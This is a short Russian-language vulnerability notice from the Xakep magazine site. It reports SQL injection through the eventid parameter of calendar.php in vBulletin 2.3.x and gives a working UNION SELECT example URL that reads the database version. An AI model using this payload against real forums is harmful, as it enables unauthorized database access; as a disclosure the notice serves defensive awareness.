SQl инъекция в vBulletin форуме

Продукты «Хакера»

Ежеквартальный «Хакер» #3

Лучшие статьи квартала на бумаге

2 000 ₽
Заказать журнал
Годовая подписка на Xakep.ru

Полный доступ к статьям и архиву выпусков

6 000 ₽ в год
Подписаться
«Пентест WEB» для начинающих

Совместный курс «Хакера» и лаборатории «Хаксет»

7 000 ₽
Купить курс
Спецвыпуск «Хакера» #4

Лучшие статьи за 2021–2022 годы на бумаге

2 000 ₽
Заказать журнал

Рекомендуем почитать:

Хакер #327. Doom.ttf

Программа: vBulletin 2.3.х

Удаленный пользователь может внедрить произвольные SQL команды.
Уязвимость обнаружена в параметре eventid в сценарии
calendar.php.

Пример (добавляет событие (#14)):

calendar.php?s=&action=edit&eventid=14 union (SELECT
allowsmilies,public,userid,'0000-0-0',version(),userid FROM calendar_events WHERE eventid = 14) order by eventdate

Продукты «Хакера»

Ежеквартальный «Хакер» #3

Годовая подписка на Xakep.ru

«Пентест WEB» для начинающих

Спецвыпуск «Хакера» #4

Хакер #327. Doom.ttf

Подпишись на наc в Telegram!